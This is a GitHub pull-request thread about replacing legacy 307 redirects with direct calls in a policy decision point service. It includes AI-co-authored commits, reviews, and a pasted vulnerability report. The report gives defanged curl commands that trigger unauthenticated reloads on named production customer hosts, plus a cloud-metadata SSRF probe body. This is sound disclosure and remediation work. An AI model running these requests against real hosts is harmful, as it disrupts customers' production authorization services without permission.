Blast radius: Behavioral — clients calling the legacy aliases now get a direct 200 instead of a 307, so the token is no longer at risk of being stripped. The test-collection break (finding 1) has repo-wide CI blast radius once merged.

Isolation / scope: Well-isolated — only pdp.py + one new test file, no unrelated churn (contrast with #317, which bundled CI changes).

Comment thread horizon/tests/test_legacy_update_routes.py Outdated
Comment thread horizon/tests/test_legacy_update_routes.py Outdated
- Import MockPermitPDP by basename (from test_enforcer_api) instead of
  horizon.tests.*: CI installs the package non-editably, so the wheel has
  no tests/ package and the dotted import aborted all pytest collection.
  Basename matches pytest's prepend import mode and also avoids a duplicate
  module object (second OpalClient construction) in local full-suite runs.
- Accept 401 or 422 for a missing Authorization header: 422 on current
  main (required-param validation), 401 once PR #317 gives the param a
  None default. Survives either merge order; still fails on 200/500.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@dshoen619 dshoen619 requested a review from zeevmoney July 7, 2026 08:11
dshoen619 and others added 7 commits July 7, 2026 11:14
aioresponses 0.7.x cannot mock aiohttp>=3.14 (ClientResponse gained a
required stream_writer argument), which fails 34 enforcer/local-api tests
in CI. Identical to the pin in #317 so either merge order resolves cleanly.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- The fixture comment claimed monkeypatch mutations could leak across
  modules; monkeypatch reverts at teardown, so state the real rationale
  (defensive isolation from the shared singleton).
- httpx's is_redirect covers any 3xx, not just the five common codes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
PER-15358 (#318, now merged into this branch) fixes the aioresponses/
aiohttp-3.14 incompatibility with a stream_writer compat shim in
horizon/tests/conftest.py, deliberately keeping the test env on the
CVE-patched 3.14 line. The pin (mirrored from #317 before #318 landed)
would force CI back to 3.13.x, bypass the shim, and reintroduce the
dev/prod version skew.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@omer9564 omer9564 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This doesn't solve the actual vulnerabilities :

Unauthenticated Forced Policy/Data Re-Sync on All Managed Customer

PDPs — Missing Authorization on /policy-updater/trigger and
/data-updater/trigger

Vulnerability type: Missing Authentication / Broken Access Control
(CWE-306, CWE-285)
Affected asset: the managed customer Policy Decision Point (PDP)
fleet — e.g. aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io and
every open managed PDP host of the form
<tenant>[.]pdp[.]{us-east-1,us-east-2}[.]permit[.]io. Confirmed on 7
open production customer PDPs (A&E Networks, Allegion,
Wingwork/Getwingwork, Iofinnet).
Severity: Medium — CVSS 5.3
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). At sustained scale the
Availability impact rises (~7.5); the higher figure is not provable
without flooding real customer runtimes, so the conservative proven
score is reported.
Program: Permit.io security — Ze'ev Manilovich <zeev[(@)]permit[.]io>

(URLs/IPs defanged — re-fang before submitting.)

Relationship to prior reports (please read)

A previously-reported issue concerned an unauthenticated dev-mode
login backdoor on the staging host api[.]stg[.]permit[.]io (now
remediated, returns 404). This report concerns a different
surface
— the production managed-customer PDP fleet
(*.pdp.{us-east-1,us-east-2}.[permit.io](http://permit.io/)) — and a different
vulnerability class (missing authorization on operational control
endpoints, not authentication backdoor). Unlike the staging host,
these PDPs serve real, production customers.

Summary

On every open managed customer PDP, two operational endpoints — POST /policy-updater/trigger and POST /data-updater/trigger — accept
requests with no Authorization header and return HTTP 200 {"status":"ok"}, causing the PDP to forcibly re-pull its policy/data
from the Permit control plane. Every other operational route on the
same hosts correctly rejects unauthenticated requests with 401
(/policy-store/config, /local/role_assignments, /callbacks,
/facts/*, the decision routes). An attacker who can resolve a
customer's PDP hostname (enumerable via the customer's DNS / your SSO
lookup — see separate report) can force arbitrary, unauthenticated
reloads of that customer's production policy decision runtime.

Reproduction (confirmed firsthand, non-destructive)

# 1. Pick any open managed PDP, e.g. A&E Networks prod:
$ curl -sk -X POST
'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/policy-updater/trigger'
{"status":"ok"}                                    [HTTP 200 —
accepted with NO Authorization header]

# 2. The companion data endpoint behaves identically:
$ curl -sk -X POST
'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/data-updater/trigger'
{"status":"ok"}                                    [HTTP 200 —
accepted with NO Authorization header]

# 3. Compare to any OTHER operational route on the SAME host —
properly auth-gated:
$ curl -sk 'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/policy-store/config'
{"detail":{"error":"access token was not provided"}}   [HTTP 401]

# 4. Discriminator — confirms the 200 is a genuine missing-authz gap,
not a no-op catch-all:
$ curl -sk -X GET
'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/policy-updater/trigger'
     -> 405 (method not allowed)
$ curl -sk -X POST
'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/policy-updater/triggerXYZ'
  -> 404 (route does not exist)
$ curl -sk 'hxxps[://]aenetworks-prod[.]pdp[.]us-east-1[.]permit[.]io/'
                                    -> 200
{"status":"ok","online":true} (health, expected)

Identical 200 {"status":"ok"} with no auth was reproduced on all 7
open managed customer PDPs
: aenetworks-prod, aenetworks-dev,
allegion-tam, allegion-test, getwingwork, iofinnet,
wingwork. The request body is ignored (a POST carrying
{"url":"hxxp[://]169[.]254[.]169[.]254/..."} returns the same 200 {"status":"ok"} — no SSRF sink, no data returned), so the primitive
is a forced reload, not a data-exfil vector. No customer
policy/tenant/secret data was retrieved at any point — only the
generic {"status":"ok"} status object.

Impact

  • Unauthenticated operational control of production customer
    runtimes.
    Any internet user can force a real customer's PDP to
    synchronously re-fetch and re-evaluate its policy/data configuration,
    bypassing the per-instance PDP token that protects every other route.
  • Availability / reliability. Triggering forces a reload cycle on
    the target PDP. At scale (iterating across the customer PDP fleet,
    repeatedly), this is a low-cost unauthenticated Availability attack
    against your customers' authorization decision latencies and your
    control-plane fetch path.
  • Authz-model integrity. The inconsistency (two routes open, all
    peers 401) indicates the trigger routes were accidentally excluded
    from the PDP-token middleware — a latent defect whose blast radius
    grows if any future change makes a reload state-changing (e.g.
    pulling a maliciously-updated policy, swapping config sources, or
    resetting cached state).

Root cause

The POST /policy-updater/trigger and POST /data-updater/trigger
handlers on the managed PDP image are not wired through the
Authorization: Bearer <PDP_TOKEN> middleware that gates the
remainder of the PDP's operational API. They execute and return
success unconditionally.

Remediation

  1. Route /policy-updater/trigger and /data-updater/trigger through
    the same PDP-token Authorization middleware that protects
    /policy-store/config et al.; reject unauthenticated calls with
    401.
  2. Restrict these control endpoints to the control-plane caller only
    (mTLS / a signed control-plane caller identity), not any internet
    requester.
  3. Audit the PDP image's route table for any other routes
    inadvertently excluded from the auth middleware (the
    GET-vs-POST-vs-bogus discriminator used above is a quick regression
    check).

Validation notes (honest)

  • Confirmed firsthand: unauthenticated 200 {"status":"ok"} on
    both trigger endpoints across all 7 open managed PDPs, with the
    gated/405/404 discriminators above ruling out a catch-all false
    positive. No authentication of any kind was supplied.
  • Not measured: actual decision-latency/availability degradation
    from sustained triggering — deliberately not performed because it
    would require flooding real production customer runtimes
    (non-destructive, real-customer data-safety). The missing-authz defect
    itself is proven; the magnitude of the availability impact is
    inferred, hence the conservative CVSS 5.3 rather than the ~7.5 that
    sustained abuse would imply. I recommend Permit confirm whether a
    forced reload can cause transient decision disruption and score
    accordingly.
  • No customer policy/tenant/user/secret data was retrieved. Only the
    generic {"status":"ok"} status was returned.

@zeevmoney zeevmoney left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated review — PR #320 (replace legacy /update_policy* 307 redirects with direct calls)

Reviewed with python-pro + fastapi-pro; findings adversarially verified against the canonical OPAL 0.9.6 handlers.

Verdict: APPROVE. Highest confirmed severity is LOW. The change is a faithful, byte-for-byte mirror of the canonical /policy-updater/trigger and /data-updater/trigger handlers (same {"status":"ok"} body, 200 status, force_full_update=True, and verbatim 503 detail string).

Public API: not broken. Both routes are include_in_schema=False (not in the OpenAPI contract). For redirect-following clients (including the legacy SDK) the net result was already 200 {"status":"ok"} reached at the canonical route — now delivered in one hop, and without the drop-Authorization-on-redirect trap. The only clients affected by the 307→200 change are ones that neither follow redirects nor treat 2xx as success — a class already non-functional against these endpoints. A repo-wide grep found no docs/tests/SDK fixtures depending on the old 307.

Scope note (not a defect in this PR): #320 does not close the unauthenticated /policy-updater/trigger & /data-updater/trigger vulnerability — those canonical routes are gated by the sibling middleware PR #321 (in enforce mode). #320 only makes the already-gated legacy aliases work correctly under that gate.

One LOW inline note below.

Comment thread horizon/pdp.py
@dshoen619 dshoen619 requested a review from omer9564 July 9, 2026 08:04
…eview)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@dshoen619

Copy link
Copy Markdown
Contributor Author

@omer9564 thanks — the vulnerability you've reproduced is real and correctly diagnosed, but it's closed by a different PR in the same coordinated effort, not this one. Quick scope map so the split is clear:

This PR (#320 / PER-15246) has a deliberately narrow job: the two legacy alias routes /update_policy and /update_policy_data (both include_in_schema=False, gated by Depends(enforce_pdp_token)) used to 307-redirect to the canonical trigger routes. HTTP clients drop Authorization on redirect, so once the canonical routes are gated, an authenticated SDK hitting an alias would lose its token → 401. This PR replaces the redirect with a direct in-process call. It does not touch /policy-updater/trigger or /data-updater/trigger and never claimed to — those are mounted by OpalClient before the PDP wraps the app.

The actual fix for what you reported is #321 / PER-15245 (feat: default-deny authentication middleware), which is approved and open. Its own description names exactly these two routes as the motivation, and it flips them (and the whole app) to default-deny — 401 for any unauthenticated request once PDP_AUTH_ENFORCEMENT=enforce. It ships in audit mode first (log-only) so the managed fleet can be instrumented before enforcement, per the rollout plan.

Related siblings already landed/underway:

So your CHANGES_REQUESTED is accurate about the fleet but not about this diff — the canonical-route gating is tracked and implemented in #321. Could you re-scope the review to #321 (or drop the block here so #320 can merge independently)? Happy to link the reproduction into the PER-15250 test cases so it's regression-locked.

@omer9564 omer9564 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@dshoen619 dshoen619 merged commit 4d8e2d0 into main Jul 9, 2026
13 of 15 checks passed
@dshoen619 dshoen619 deleted the david/per-15246-pdp-replace-legacy-update_policy-307-redirects-with-direct branch July 9, 2026 14:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants